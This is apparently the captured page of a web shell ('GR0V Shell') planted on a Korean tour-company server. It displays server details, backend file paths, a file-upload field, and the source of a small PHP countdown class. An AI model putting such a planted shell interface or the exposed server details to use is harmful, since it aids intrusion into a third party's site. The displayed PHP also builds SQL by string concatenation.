? GR0V Shell

GR0V shell

Linux www.koreapackagetour.com 2.6.32-042stab145.3 #1 SMP Thu Jun 11 14:05:04 MSK 2020 x86_64

Path : /home/admin/domains/happytokorea.com/public_html/backend/modules/tour/
File Upload :
Current File : /home/admin/domains/happytokorea.com/public_html/backend/modules/tour/Countdown.php

<?
class Countdown extends MySql
{
function ChkDayCountdown(){
	global $user_login;

if ($_SESSION["la"] == 1){
	$sql=$this->Query("SELECT * FROM tour WHERE Countdown = 1 AND DayCountdown > 0 Order By id ASC");
}else{
	$sql=$this->Query("SELECT * FROM tour_en WHERE Countdown = 1 AND DayCountdown > 0 Order By id ASC");
}
while($rs1=mysql_fetch_array($sql)){
$dateCD = (strtotime($rs1['DateEndCountdown']) - strtotime(date('Y-m-d')))/  ( 60 * 60 * 24 );
if ($_SESSION["la"] == 1){
	$result=$this->Query("UPDATE tour set DayCountdown=".$dateCD." where id=".$rs1['id']);
}else{
	$result=$this->Query("UPDATE tour_en set DayCountdown=".$dateCD." where id=".$rs1['id']);
}
}
}

}
?>

T1KUS90T
  root-grov@210.1.60.28:~$